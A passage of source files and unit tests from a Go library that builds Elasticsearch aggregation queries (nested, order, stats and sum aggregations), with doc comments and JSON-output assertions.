bodyJSON) 98 | } 99 | 100 | func Test_MinAgg_should_have_Meta_method(t *testing.T) { 101 | t.Parallel() 102 | // Given 103 | a := es.MinAgg("price") 104 | 105 | // When Then 106 | assert.NotNil(t, a.Meta) 107 | } 108 | 109 | func Test_Meta_should_add_meta_field_into_MinAgg(t *testing.T) { 110 | t.Parallel() 111 | // Given 112 | a := es.MinAgg("price"). 113 | Meta("k1", "v1"). 114 | Meta("k2", "v2") 115 | 116 | // When Then 117 | assert.NotNil(t, a) 118 | bodyJSON := assert.MarshalWithoutError(t, a) 119 | assert.Equal(t, "{\"min\":{\"field\":\"price\",\"meta\":{\"k1\":\"v1\",\"k2\":\"v2\"}}}", bodyJSON) 120 | } 121 | 122 | func Test_MinAgg_should_have_Aggs_method(t *testing.T) { 123 | t.Parallel() 124 | // Given 125 | a := es.MinAgg("price") 126 | 127 | // When Then 128 | assert.NotNil(t, a.Aggs) 129 | } 130 | 131 | func Test_Aggs_should_add_aggs_field_into_MinAgg_when_not_empty(t *testing.T) { 132 | t.Parallel() 133 | // Given 134 | a := es.MinAgg("price").Aggs(es.Agg("min_stock", es.MinAgg("stock"))) 135 | 136 | // When Then 137 | assert.NotNil(t, a) 138 | bodyJSON := assert.MarshalWithoutError(t, a) 139 | assert.Equal(t, "{\"aggs\":{\"min_stock\":{\"min\":{\"field\":\"stock\"}}},\"min\":{\"field\":\"price\"}}", bodyJSON) 140 | } 141 | 142 | func Test_Aggs_should_not_add_aggs_field_into_MinAgg_when_it_is_empty(t *testing.T) { 143 | t.Parallel() 144 | // Given 145 | a := es.MinAgg("price").Aggs(nil) 146 | 147 | // When Then 148 | assert.NotNil(t, a) 149 | bodyJSON := assert.MarshalWithoutError(t, a) 150 | assert.Equal(t, "{\"min\":{\"field\":\"price\"}}", bodyJSON) 151 | } 152 | -------------------------------------------------------------------------------- /es/aggregation_nested.go: -------------------------------------------------------------------------------- 1 | package es 2 | 3 | type nestedAggType Object 4 | 5 | // NestedAgg creates a nested aggregation for querying nested fields in Elasticsearch. 6 | // 7 | // A nested aggregation allows searching within objects in a `nested` field type. 8 | // It enables running sub-aggregations on the nested objects rather than on the parent documents. 9 | // 10 | // Example usage: 11 | // 12 | // agg := es.NestedAgg("products") 13 | // // This creates a nested aggregation on the "products" field. 14 | // 15 | // Parameters: 16 | // - path: The nested field path to aggregate on. 17 | // 18 | // Returns: 19 | // 20 | // An es.nestedAggType object representing the nested aggregation. 21 | func NestedAgg(path string) nestedAggType { 22 | return nestedAggType{ 23 | "nested": Object{ 24 | "path": path, 25 | }, 26 | } 27 | } 28 | 29 | // Aggs adds sub-aggregations to the nested aggregation. 30 | // 31 | // This method allows performing additional aggregations inside the nested context. 32 | // It is commonly used to perform further breakdowns on nested fields. 33 | // 34 | // Example usage: 35 | // 36 | // agg := es.NestedAgg("products"). 37 | // Aggs(es.Agg("max_price", es.MaxAgg("products.price"))) 38 | // 39 | // Parameters: 40 | // - aggs: A variadic list of sub-aggregations. 41 | // 42 | // Returns: 43 | // 44 | // An es.nestedAggType object with the specified sub-aggregations added. 45 | func (nested nestedAggType) Aggs(aggs ...aggsType) nestedAggType { 46 | if len(aggs) == 1 && aggs[0] == nil { 47 | return nested 48 | } 49 | nested["aggs"] = reduceAggs(aggs...) 50 | return nested 51 | } 52 | -------------------------------------------------------------------------------- /es/aggregation_nested_test.go: -------------------------------------------------------------------------------- 1 | package es_test 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/trustingprom/es-query-builder/es" 7 | "github.com/trustingprom/es-query-builder/test/assert" 8 | ) 9 | 10 | func Test_NestedAgg_should_exist_on_es_package(t *testing.T) { 11 | t.Parallel() 12 | // Given When Then 13 | assert.NotNil(t, es.NestedAgg) 14 | } 15 | 16 | func Test_NestedAgg_should_return_type_of_nestedAggType(t *testing.T) { 17 | t.Parallel() 18 | // Given 19 | aggsQuery := es.NestedAgg("price") 20 | 21 | // When Then 22 | assert.NotNil(t, aggsQuery) 23 | assert.IsTypeString(t, "es.nestedAggType", aggsQuery) 24 | assert.MarshalWithoutError(t, aggsQuery) 25 | } 26 | 27 | func Test_NestedAgg_should_create_json_with_terms_field_inside(t *testing.T) { 28 | t.Parallel() 29 | // Given 30 | a := es.NestedAgg("price") 31 | 32 | // When Then 33 | assert.NotNil(t, a) 34 | bodyJSON := assert.MarshalWithoutError(t, a) 35 | assert.Equal(t, "{\"nested\":{\"path\":\"price\"}}", bodyJSON) 36 | } 37 | 38 | func Test_NestedAgg_should_have_Aggs_method(t *testing.T) { 39 | t.Parallel() 40 | // Given 41 | a := es.NestedAgg("price") 42 | 43 | // When Then 44 | assert.NotNil(t, a.Aggs) 45 | } 46 | 47 | func Test_Aggs_should_add_aggs_field_into_NestedAgg_when_not_empty(t *testing.T) { 48 | t.Parallel() 49 | // Given 50 | a := es.NestedAgg("price").Aggs(es.Agg("nested_stock", es.NestedAgg("stock"))) 51 | 52 | // When Then 53 | assert.NotNil(t, a) 54 | bodyJSON := assert.MarshalWithoutError(t, a) 55 | assert.Equal(t, "{\"aggs\":{\"nested_stock\":{\"nested\":{\"path\":\"stock\"}}},\"nested\":{\"path\":\"price\"}}", bodyJSON) 56 | } 57 | 58 | func Test_Aggs_should_not_add_aggs_field_into_NestedAgg_when_it_is_empty(t *testing.T) { 59 | t.Parallel() 60 | // Given 61 | a := es.NestedAgg("price").Aggs(nil) 62 | 63 | // When Then 64 | assert.NotNil(t, a) 65 | bodyJSON := assert.MarshalWithoutError(t, a) 66 | assert.Equal(t, "{\"nested\":{\"path\":\"price\"}}", bodyJSON) 67 | } 68 | -------------------------------------------------------------------------------- /es/aggregation_order.go: -------------------------------------------------------------------------------- 1 | package es 2 | 3 | import Order "github.com/trustingprom/es-query-builder/es/enums/sort/order" 4 | 5 | type aggOrder Object 6 | 7 | // AggOrder creates an aggregation order specification. 8 | // 9 | // Aggregation orders determine the sorting of buckets based on a specific key 10 | // (e.g., "_count" or "_key") and the desired order (ascending or descending). 11 | // 12 | // Example usage: 13 | // 14 | // order := es.AggOrder("_count", es.Order.Desc) 15 | // // Sorts the aggregation buckets by count in descending order. 16 | // 17 | // Parameters: 18 | // - key: The aggregation key to sort by (e.g., "_count", "_key", or a metric sub-aggregation name). 19 | // - order: The sorting order (ascending or descending), defined in the `Order` package. 20 | // 21 | // Returns: 22 | // 23 | // An es.aggOrder object representing the order definition. 24 | func AggOrder(key string, order Order.Order) aggOrder { 25 | return aggOrder{ 26 | key: order, 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /es/aggregation_order_test.go: -------------------------------------------------------------------------------- 1 | package es_test 2 | 3 | import ( 4 | "testing" 5 | 6 | Order "github.com/trustingprom/es-query-builder/es/enums/sort/order" 7 | 8 | "github.com/trustingprom/es-query-builder/es" 9 | "github.com/trustingprom/es-query-builder/test/assert" 10 | ) 11 | 12 | func Test_AggOrder_should_exist_on_es_package(t *testing.T) { 13 | t.Parallel() 14 | // Given When Then 15 | assert.NotNil(t, es.AggOrder) 16 | } 17 | 18 | func Test_AggOrder_should_return_type_of_avgAggType(t *testing.T) { 19 | t.Parallel() 20 | // Given 21 | aggsQuery := es.AggOrder("price", Order.Desc) 22 | 23 | // When Then 24 | assert.NotNil(t, aggsQuery) 25 | assert.IsTypeString(t, "es.aggOrder", aggsQuery) 26 | assert.MarshalWithoutError(t, aggsQuery) 27 | } 28 | 29 | func Test_AggOrder_should_create_json_with_terms_field_inside(t *testing.T) { 30 | t.Parallel() 31 | // Given 32 | a := es.AggOrder("price", Order.Asc) 33 | 34 | // When Then 35 | assert.NotNil(t, a) 36 | bodyJSON := assert.MarshalWithoutError(t, a) 37 | assert.Equal(t, "{\"price\":\"asc\"}", bodyJSON) 38 | } 39 | -------------------------------------------------------------------------------- /es/aggregation_query.go: -------------------------------------------------------------------------------- 1 | package es 2 | 3 | type aggsType Object 4 | 5 | // NewAggs creates an aggregation object containing multiple aggregations. 6 | // 7 | // This function is used to combine multiple aggregations under a single "aggs" field. 8 | // 9 | // Example usage: 10 | // 11 | // aggs := es.NewAggs( 12 | // es.Agg("max_price", es.MaxAgg("price")), 13 | // es.Agg("avg_price", es.AvgAgg("price")), 14 | // ) 15 | // 16 | // Parameters: 17 | // - aggs: A variadic list of aggregation definitions. 18 | // 19 | // Returns: 20 | // 21 | // An Object containing the "aggs" field with the merged aggregation definitions. 22 | func NewAggs(aggs ...aggsType) Object { 23 | return Object{ 24 | "aggs": reduceAggs(aggs...), 25 | } 26 | } 27 | 28 | // Agg creates a named aggregation entry. 29 | // 30 | // This function allows defining a named aggregation, associating a name with an 31 | // aggregation definition. 32 | // 33 | // Example usage: 34 | // 35 | // maxPriceAgg := es.Agg("max_price", es.MaxAgg("price")) 36 | // 37 | // Parameters: 38 | // - name: The name of the aggregation. 39 | // - agg: The aggregation definition, which must be a map-like type. 40 | // 41 | // Returns: 42 | // 43 | // An aggsType object representing the named aggregation. 44 | func Agg[T ~map[string]any](name string, agg T) aggsType { 45 | return aggsType{ 46 | name: agg, 47 | } 48 | } 49 | 50 | // Query adds a query clause to an Elasticsearch request body. 51 | // 52 | // This function modifies the Object to include a "query" field if the provided 53 | // query clause is valid. 54 | // 55 | // Example usage: 56 | // 57 | // query := es.NewAggs(...).Query(es.MatchQuery("title", "golang")) 58 | // 59 | // Parameters: 60 | // - queryClause: The query clause to be added. 61 | // 62 | // Returns: 63 | // 64 | // A modified Object containing the query definition. 65 | func (o Object) Query(queryClause any) Object { 66 | if field, ok := correctType(queryClause); ok { 67 | o["query"] = field 68 | } 69 | return o 70 | } 71 | 72 | func reduceAggs(aggs ...aggsType) Object { 73 | aggregates := Object{} 74 | for _, agg := range aggs { 75 | for key, value := range agg { 76 | aggregates[key] = value 77 | break 78 | } 79 | } 80 | return aggregates 81 | } 82 | 83 | func getObjectFromAggs[T ~map[string]any](agg T, aggName, key string) (Object, bool) { 84 | aggObject, ok := agg[aggName].(Object) 85 | if !ok { 86 | return nil, false 87 | } 88 | field, exists := aggObject[key] 89 | if !exists { 90 | return nil, false 91 | } 92 | fieldObject, ok := field.(Object) 93 | return fieldObject, ok 94 | } 95 | -------------------------------------------------------------------------------- /es/aggregation_query_private_test.go: -------------------------------------------------------------------------------- 1 | package es 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/trustingprom/es-query-builder/test/assert" 7 | ) 8 | 9 | func Test_getObjectFromAggs_should_get_objects_from_aggs_when_exists(t *testing.T) { 10 | t.Parallel() 11 | // Given 12 | aggsQuery := AvgAgg("category").Meta("hello", "world") 13 | 14 | // When 15 | meta, ok := getObjectFromAggs(aggsQuery, "avg", "meta") 16 | 17 | // Then 18 | assert.True(t, ok) 19 | assert.NotNil(t, meta) 20 | bodyJSON := assert.MarshalWithoutError(t, meta) 21 | assert.Equal(t, "{\"hello\":\"world\"}", bodyJSON) 22 | } 23 | 24 | func Test_getObjectFromAggs_should_return_false_when_exists(t *testing.T) { 25 | t.Parallel() 26 | // Given 27 | aggsQuery := AvgAgg("category").Meta("hello", "world") 28 | 29 | // When 30 | _, ok := getObjectFromAggs(aggsQuery, "avg", "fooBar") 31 | 32 | // Then 33 | assert.False(t, ok) 34 | } 35 | 36 | func Test_getObjectFromAggs_should_return_false_when_invalid_aggs_type(t *testing.T) { 37 | t.Parallel() 38 | // Given 39 | aggsQuery := AvgAgg("category").Meta("hello", "world") 40 | 41 | // When 42 | _, ok := getObjectFromAggs(aggsQuery, "n/A", "meta") 43 | 44 | // Then 45 | assert.False(t, ok) 46 | } 47 | -------------------------------------------------------------------------------- /es/aggregation_query_test.go: -------------------------------------------------------------------------------- 1 | package es_test 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/trustingprom/es-query-builder/es" 7 | "github.com/trustingprom/es-query-builder/test/assert" 8 | ) 9 | 10 | func Test_NewAggs_should_exist_on_es_package(t *testing.T) { 11 | t.Parallel() 12 | // Given When Then 13 | assert.NotNil(t, es.NewAggs) 14 | } 15 | 16 | func Test_NewAggs_should_return_type_of_Object(t *testing.T) { 17 | t.Parallel() 18 | // Given 19 | aggsQuery := es.NewAggs() 20 | 21 | // When Then 22 | assert.NotNil(t, aggsQuery) 23 | assert.IsTypeString(t, "es.Object", aggsQuery) 24 | assert.MarshalWithoutError(t, aggsQuery) 25 | } 26 | 27 | func Test_NewAggs_should_add_aggs_field_into_Object(t *testing.T) { 28 | t.Parallel() 29 | // Given 30 | aggsQuery := es.NewAggs(nil) 31 | 32 | // When 33 | q, exists := aggsQuery["aggs"] 34 | 35 | // Then 36 | assert.True(t, exists) 37 | assert.NotNil(t, q) 38 | } 39 | 40 | func Test_Agg_should_exist_on_es_package(t *testing.T) { 41 | t.Parallel() 42 | // Given When Then 43 | assert.NotNil(t, es.Agg[es.Object]) 44 | } 45 | 46 | func Test_Agg_should_return_type_of_aggsType(t *testing.T) { 47 | t.Parallel() 48 | // Given 49 | agg := es.Agg("agg_name", es.Object{}) 50 | 51 | // When Then 52 | assert.NotNil(t, agg) 53 | assert.IsTypeString(t, "es.aggsType", agg) 54 | assert.MarshalWithoutError(t, agg) 55 | } 56 | 57 | func Test_Agg_should_add_given_name_field_into_aggsType(t *testing.T) { 58 | t.Parallel() 59 | // Given 60 | aggsQuery := es.Agg("agg_name", es.Object{}) 61 | 62 | // When 63 | q, exists := aggsQuery["agg_name"] 64 | 65 | // Then 66 | assert.True(t, exists) 67 | assert.NotNil(t, q) 68 | } 69 | 70 | func Test_Object_should_have_Query_method(t *testing.T) { 71 | t.Parallel() 72 | // Given 73 | b := es.NewQuery(nil) 74 | 75 | // When Then 76 | assert.NotNil(t, b.Query) 77 | } 78 | 79 | func Test_Query_should_add_query_field_into_Object(t *testing.T) { 80 | t.Parallel() 81 | // Given 82 | query := es.NewAggs(nil) 83 | 84 | // When 85 | _, beforeExists := query["query"] 86 | object := query.Query(es.Term("hello", "world")) 87 | _, afterExists := query["query"] 88 | 89 | // Then 90 | assert.NotNil(t, object) 91 | assert.False(t, beforeExists) 92 | assert.True(t, afterExists) 93 | } 94 | -------------------------------------------------------------------------------- /es/aggregation_stats.go: -------------------------------------------------------------------------------- 1 | package es 2 | 3 | type statsAggType Object 4 | 5 | // StatsAgg creates a statistical aggregation for a given field. 6 | // 7 | // This aggregation computes statistical metrics such as min, max, sum, count, and avg. 8 | // 9 | // Example usage: 10 | // 11 | // statsAgg := es.StatsAgg("price") 12 | // 13 | // Parameters: 14 | // - field: The field on which the statistical aggregation is applied. 15 | // 16 | // Returns: 17 | // 18 | // A statsAggType representing the statistical aggregation. 19 | func StatsAgg(field string) statsAggType { 20 | return statsAggType{ 21 | "stats": Object{ 22 | "field": field, 23 | }, 24 | } 25 | } 26 | 27 | // Missing sets the "missing" parameter in the stats' aggregation. 28 | // 29 | // This is useful when some documents do not contain the field, allowing Elasticsearch 30 | // to treat missing values as a specified default. 31 | // 32 | // Example usage: 33 | // 34 | // statsAgg := es.StatsAgg("price").Missing(0) 35 | // 36 | // Parameters: 37 | // - missing: The value to be used when the field is missing. 38 | // 39 | // Returns: 40 | // 41 | // An emodified es.statsAggType with the "missing" value set. 42 | func (stats statsAggType) Missing(missing any) statsAggType { 43 | return stats.putInTheField("missing", missing) 44 | } 45 | 46 | // Script applies a script to the stats' aggregation. 47 | // 48 | // Instead of using a field, you can provide a script to compute custom metrics. 49 | // 50 | // Example usage: 51 | // 52 | // statsAgg := es.StatsAgg("price").Script(es.ScriptSource("doc['price'].value * 2", ScriptLanguage.Painrless)) 53 | // 54 | // Parameters: 55 | // - script: The script to execute for the aggregation. 56 | // 57 | // Returns: 58 | // 59 | // An emodified es.statsAggType with the script applied. 60 | func (stats statsAggType) Script(script scriptType) statsAggType { 61 | return stats.putInTheField("script", script) 62 | } 63 | 64 | // Format sets the output format for the stats' aggregation. 65 | // 66 | // Example usage: 67 | // 68 | // statsAgg := es.StatsAgg("price").Format("0.00") 69 | // 70 | // Parameters: 71 | // - format: A format string, such as `"0.00"` for decimal formatting. 72 | // 73 | // Returns: 74 | // 75 | // An emodified es.statsAggType with the format set. 76 | func (stats statsAggType) Format(format string) statsAggType { 77 | return stats.putInTheField("format", format) 78 | } 79 | 80 | // Meta adds metadata to the stats' aggregation. 81 | // 82 | // This can store additional information that does not affect the aggregation execution. 83 | // 84 | // Example usage: 85 | // 86 | // statsAgg := es.StatsAgg("price").Meta("description", "Price statistics") 87 | // 88 | // Parameters: 89 | // - key: Metadata key. 90 | // - value: Metadata value. 91 | // 92 | // Returns: 93 | // 94 | // A modified es.statsAggType with the meta field set. 95 | func (stats statsAggType) Meta(key string, value any) statsAggType { 96 | meta, exists := getObjectFromAggs(stats, "stats", "meta") 97 | if !exists { 98 | meta = Object{} 99 | } 100 | meta[key] = value 101 | return stats.putInTheField("meta", meta) 102 | } 103 | 104 | // Aggs adds sub-aggregations to the stats' aggregation. 105 | // 106 | // Example usage: 107 | // 108 | // statsAgg := es.StatsAgg("price").Aggs( 109 | // es.Agg("max_price", es.MaxAgg("price")), 110 | // ) 111 | // 112 | // Parameters: 113 | // - aggs: A variadic list of sub-aggregations. 114 | // 115 | // Returns: 116 | // 117 | // An emodified es.statsAggType containing the nested aggregations. 118 | func (stats statsAggType) Aggs(aggs ...aggsType) statsAggType { 119 | if len(aggs) == 1 && aggs[0] == nil { 120 | return stats 121 | } 122 | stats["aggs"] = reduceAggs(aggs...) 123 | return stats 124 | } 125 | 126 | func (stats statsAggType) putInTheField(key string, value any) statsAggType { 127 | if statsAgg, ok := stats["stats"].(Object); ok { 128 | statsAgg[key] = value 129 | } 130 | return stats 131 | } 132 | -------------------------------------------------------------------------------- /es/aggregation_stats_test.go: -------------------------------------------------------------------------------- 1 | package es_test 2 | 3 | import ( 4 | "testing" 5 | 6 | ScriptLanguage "github.com/trustingprom/es-query-builder/es/enums/script-language" 7 | 8 | "github.com/trustingprom/es-query-builder/es" 9 | "github.com/trustingprom/es-query-builder/test/assert" 10 | ) 11 | 12 | func Test_StatsAgg_should_exist_on_es_package(t *testing.T) { 13 | t.Parallel() 14 | // Given When Then 15 | assert.NotNil(t, es.StatsAgg) 16 | } 17 | 18 | func Test_StatsAgg_should_return_type_of_statsAggType(t *testing.T) { 19 | t.Parallel() 20 | // Given 21 | aggsQuery := es.StatsAgg("price") 22 | 23 | // When Then 24 | assert.NotNil(t, aggsQuery) 25 | assert.IsTypeString(t, "es.statsAggType", aggsQuery) 26 | assert.MarshalWithoutError(t, aggsQuery) 27 | } 28 | 29 | func Test_StatsAgg_should_create_json_with_terms_field_inside(t *testing.T) { 30 | t.Parallel() 31 | // Given 32 | a := es.StatsAgg("price") 33 | 34 | // When Then 35 | assert.NotNil(t, a) 36 | bodyJSON := assert.MarshalWithoutError(t, a) 37 | assert.Equal(t, "{\"stats\":{\"field\":\"price\"}}", bodyJSON) 38 | } 39 | 40 | func Test_StatsAgg_should_have_Missing_method(t *testing.T) { 41 | t.Parallel() 42 | // Given 43 | a := es.StatsAgg("price") 44 | 45 | // When Then 46 | assert.NotNil(t, a.Missing) 47 | } 48 | 49 | func Test_Missing_should_add_missing_field_into_StatsAgg(t *testing.T) { 50 | t.Parallel() 51 | // Given 52 | a := es.StatsAgg("price").Missing("missing_name") 53 | 54 | // When Then 55 | assert.NotNil(t, a) 56 | bodyJSON := assert.MarshalWithoutError(t, a) 57 | assert.Equal(t, "{\"stats\":{\"field\":\"price\",\"missing\":\"missing_name\"}}", bodyJSON) 58 | } 59 | 60 | func Test_StatsAgg_should_have_Script_method(t *testing.T) { 61 | t.Parallel() 62 | // Given 63 | a := es.StatsAgg("price") 64 | 65 | // When Then 66 | assert.NotNil(t, a.Script) 67 | } 68 | 69 | func Test_Script_should_add_script_field_into_StatsAgg(t *testing.T) { 70 | t.Parallel() 71 | // Given 72 | a := es.StatsAgg("price").Script(es.ScriptID("id_12345", ScriptLanguage.Painless)) 73 | 74 | // When Then 75 | assert.NotNil(t, a) 76 | bodyJSON := assert.MarshalWithoutError(t, a) 77 | assert.Equal(t, "{\"stats\":{\"field\":\"price\",\"script\":{\"id\":\"id_12345\",\"lang\":\"painless\"}}}", bodyJSON) 78 | } 79 | 80 | func Test_StatsAgg_should_have_Format_method(t *testing.T) { 81 | t.Parallel() 82 | // Given 83 | a := es.StatsAgg("price") 84 | 85 | // When Then 86 | assert.NotNil(t, a.Format) 87 | } 88 | 89 | func Test_Format_should_add_format_field_into_StatsAgg(t *testing.T) { 90 | t.Parallel() 91 | // Given 92 | a := es.StatsAgg("price").Format("#.00") 93 | 94 | // When Then 95 | assert.NotNil(t, a) 96 | bodyJSON := assert.MarshalWithoutError(t, a) 97 | assert.Equal(t, "{\"stats\":{\"field\":\"price\",\"format\":\"#.00\"}}", bodyJSON) 98 | } 99 | 100 | func Test_StatsAgg_should_have_Meta_method(t *testing.T) { 101 | t.Parallel() 102 | // Given 103 | a := es.StatsAgg("price") 104 | 105 | // When Then 106 | assert.NotNil(t, a.Meta) 107 | } 108 | 109 | func Test_Meta_should_add_meta_field_into_StatsAgg(t *testing.T) { 110 | t.Parallel() 111 | // Given 112 | a := es.StatsAgg("price"). 113 | Meta("k1", "v1"). 114 | Meta("k2", "v2") 115 | 116 | // When Then 117 | assert.NotNil(t, a) 118 | bodyJSON := assert.MarshalWithoutError(t, a) 119 | assert.Equal(t, "{\"stats\":{\"field\":\"price\",\"meta\":{\"k1\":\"v1\",\"k2\":\"v2\"}}}", bodyJSON) 120 | } 121 | 122 | func Test_StatsAgg_should_have_Aggs_method(t *testing.T) { 123 | t.Parallel() 124 | // Given 125 | a := es.StatsAgg("price") 126 | 127 | // When Then 128 | assert.NotNil(t, a.Aggs) 129 | } 130 | 131 | func Test_Aggs_should_add_aggs_field_into_StatsAgg_when_not_empty(t *testing.T) { 132 | t.Parallel() 133 | // Given 134 | a := es.StatsAgg("price").Aggs(es.Agg("stats_stock", es.StatsAgg("stock"))) 135 | 136 | // When Then 137 | assert.NotNil(t, a) 138 | bodyJSON := assert.MarshalWithoutError(t, a) 139 | assert.Equal(t, "{\"aggs\":{\"stats_stock\":{\"stats\":{\"field\":\"stock\"}}},\"stats\":{\"field\":\"price\"}}", bodyJSON) 140 | } 141 | 142 | func Test_Aggs_should_not_add_aggs_field_into_StatsAgg_when_it_is_empty(t *testing.T) { 143 | t.Parallel() 144 | // Given 145 | a := es.StatsAgg("price").Aggs(nil) 146 | 147 | // When Then 148 | assert.NotNil(t, a) 149 | bodyJSON := assert.MarshalWithoutError(t, a) 150 | assert.Equal(t, "{\"stats\":{\"field\":\"price\"}}", bodyJSON) 151 | } 152 | -------------------------------------------------------------------------------- /es/aggregation_sum.go: -------------------------------------------------------------------------------- 1 | package es 2 | 3 | type sumAggType Object 4 | 5 | // SumAgg creates a sum aggregation for a given field. 6 | // 7 | // This aggregation calculates the sum of values for the specified field. 8 | // 9 | // Example usage: 10 | // 11 | // sumAgg := es.SumAgg("price") 12 | // 13 | // Parameters: 14 | // - field: The field on which the sum aggregation is applied. 15 | // 16 | // Returns: 17 | // 18 | // A sumAggType representing the sum aggregation. 19 | func SumAgg(field string) sumAggType { 20 | return sumAggType{ 21 | "sum": Object{ 22 | "field": field, 23 | }, 24 | } 25 | } 26 | 27 | // Missing sets the "missing" parameter in the sum aggregation. 28 | // 29 | // This is useful when some documents do not contain the field, allowing Elasticsearch 30 | // to treat missing values as a specified default. 31 | // 32 | // Example usage: 33 | // 34 | // sumAgg := es.SumAgg("price").Missing(0) 35 | // 36 | // Parameters: 37 | // - missing: The value to be used when the field is missing. 38 | // 39 | // Returns: 40 | // 41 | // A modified sumAggType with the "missing" value set. 42 | func (sum sumAggType) Missing(missing any) sumAggType { 43 | return sum.putInTheField("missing", missing) 44 | } 45 | 46 | // Script applies a script to the sum aggregation. 47 | // 48 | // Instead of using a field, you can provide a script to compute the sum dynamically. 49 | // 50 | // Example usage: 51 | // 52 | // sumAgg := es.SumAgg("price"). 53 | // ScriptSource("scriptName", es.Script("doc['price'].value * 1.2", ScriptLanguage.Painless)) 54 | // 55 | // Parameters: 56 | // - script: The script to execute for the aggregation. 57 | // 58 | // Returns: 59 | // 60 | // A modified sumAggType with the script applied. 61 | func (sum sumAggType) Script(script scriptType) sumAggType { 62 | return sum.putInTheField("script", script) 63 | } 64 | 65 | // Format sets the output format for the sum aggregation. 66 | // 67 | // Example usage: 68 | // 69 | // sumAgg := es.SumAgg("price").Format("0.00") 70 | // 71 | // Parameters: 72 | // - format: A format string, such as `"0.00"` for decimal formatting. 73 | // 74 | // Returns: 75 | // 76 | // A modified sumAggType with the format set. 77 | func (sum sumAggType) Format(format string) sumAggType { 78 | return sum.putInTheField("format", format) 79 | } 80 | 81 | // Meta adds metadata to the sum aggregation. 82 | // 83 | // This can store additional information that does not affect the aggregation execution. 84 | // 85 | // Example usage: 86 | // 87 | // sumAgg := es.SumAgg("price").Meta("description", "Total revenue") 88 | // 89 | // Parameters: 90 | // - key: Metadata key. 91 | // - value: Metadata value. 92 | // 93 | // Returns: 94 | // 95 | // A modified sumAggType with the meta field set. 96 | func (sum sumAggType) Meta(key string, value any) sumAggType { 97 | meta, exists := getObjectFromAggs(sum, "sum", "meta") 98 | if !exists { 99 | meta = Object{} 100 | } 101 | meta[key] = value 102 | return sum.putInTheField("meta", meta) 103 | } 104 | 105 | // Aggs adds sub-aggregations to the sum aggregation. 106 | // 107 | // Example usage: 108 | // 109 | // sumAgg := es.SumAgg("price").Aggs( 110 | // es.Agg("max_price", es.MaxAgg("price")), 111 | // ) 112 | // 113 | // Parameters: 114 | // - aggs: A variadic list of sub-aggregations. 115 | // 116 | // Returns: 117 | // 118 | // A modified sumAggType containing the nested aggregations. 119 | func (sum sumAggType) Aggs(aggs ...aggsType) sumAggType { 120 | if len(aggs) == 1 && aggs[0] == nil { 121 | return sum 122 | } 123 | sum["aggs"] = reduceAggs(aggs...) 124 | return sum 125 | } 126 | 127 | func (sum sumAggType) putInTheField(key string, value any) sumAggType { 128 | if sumAgg, ok := sum["sum"].(Object); ok { 129 | sumAgg[key] = value 130 | } 131 | return sum 132 | } 133 | -------------------------------------------------------------------------------- /es/aggregation_sum_test.go: -------------------------------------------------------------------------------- 1 | package es_test 2 | 3 | import ( 4 | "testing" 5 | 6 | ScriptLanguage "github.com/trustingprom/es-query-builder/es/enums/script-language" 7 | 8 | "github.com/trustingprom/es-query-builder/es" 9 | "github.com/trustingprom/es-query-builder/test/assert" 10 | ) 11 | 12 | func Test_SumAgg_should_exist_on_es_package(t *testing.T) { 13 | t.Parallel() 14 | // Given When Then 15 | assert.NotNil(t, es.SumAgg) 16 | } 17 | 18 | func Test_SumAgg_should_return_type_of_sumAggType(t *testing.T) { 19 | t.Parallel() 20 | // Given 21 | aggsQuery := es.SumAgg("price") 22 | 23 | // When Then 24 | assert.NotNil(t, aggsQuery) 25 | assert.IsTypeString(t, "es.sumAggType", aggsQuery) 26 | assert.MarshalWithoutError(t, aggsQuery) 27 | } 28 | 29 | func Test_SumAgg_should_create_json_with_terms_field_inside(t *testing.T) { 30 | t.Parallel() 31 | // Given 32 | a := es.SumAgg("price") 33 | 34 | // When Then 35 | assert.NotNil(t, a) 36 | bodyJSON := assert.MarshalWithoutError(t, a) 37 | assert.Equal(t, "{\"sum\":{\"field\":\"price\"}}", bodyJSON) 38 | } 39 | 40 | func Test_SumAgg_should_have_Missing_method(t *testing.T) { 41 | t.Parallel() 42 | // Given 43 | a := es.SumAgg("price") 44 | 45 | // When Then 46 | assert.NotNil(t, a.Missing) 47 | } 48 | 49 | func Test_Missing_should_add_missing_field_into_SumAgg(t *testing.T) { 50 | t.Parallel() 51 | // Given 52 | a := es.SumAgg("price").Missing("missing_name") 53 | 54 | // When Then 55 | assert.NotNil(t, a) 56 | bodyJSON := assert.MarshalWithoutError(t, a) 57 | assert.Equal(t, "{\"sum\":{\"field\":\"price\",\"missing\":\"missing_name\"}}", bodyJSON) 58 | } 59 | 60 | func Test_SumAgg_should_have_Script_method(t *testing.T) { 61 | t.Parallel() 62 | // Given 63 | a := es.SumAgg("price") 64 | 65 | // When Then 66 | assert.NotNil(t, a.Script) 67 | } 68 | 69 | func Test_Script_should_add_script_field_into_SumAgg(t *testing.T) { 70 | t.Parallel() 71 | // Given 72 | a := es.SumAgg("price").Script(es.ScriptID("id_12345", ScriptLanguage.Painless)) 73 | 74 | // When Then 75 | assert.NotNil(t, a) 76 | bodyJSON := assert.MarshalWithoutError(t, a) 77 | assert.Equal(t, "{\"sum\":{\"field\":\"price\",\"script\":{\"id\":\"id_12345\",\"lang\":\"painless\"}}}", bodyJSON) 78 | } 79 | 80 | func Test_SumAgg_should_have_Format_method(t *testing.T) { 81 | t.Parallel() 82 | // Given 83 | a := es.SumAgg("price") 84 | 85 | // When Then 86 | assert.NotNil(t, a.Format) 87 | } 88 | 89 | func Test_Format_should_add_format_field_into_SumAgg(t *testing.T) { 90 | t.Parallel() 91 | // Given 92 | a := es.SumAgg("price").Format("#.00") 93 | 94 | // When Then 95 | assert.NotNil(t, a) 96 | bodyJSON := assert.MarshalWithoutError(t, a) 97 | assert.Equal(t, "{\"sum\":{\"field\":\"price\",\"format\":\"#.00\"}}", bodyJSON) 98 | } 99 | 100 | func Test_SumAgg_should_have_Meta_method(t *testing.T) { 101 | t.Parallel() 102 | // Given 103 | a := es.SumAgg("price") 104 | 105 | // When Then 106 | assert.NotNil(t, a.Meta) 107 | } 108 | 109 | func Test_Meta_should_add_meta_field_into_SumAgg(t *testing.T) { 110 | t.Parallel() 111 | // Given 112 | a := es.SumAgg("price"). 113 | Meta("k1", "v1"). 114 | Meta("k2", "v2") 115 | 116 | // When Then 117 | assert.NotNil(t, a) 118 | bodyJSON := assert.MarshalWithoutError(t, a) 119 | assert.Equal(t, 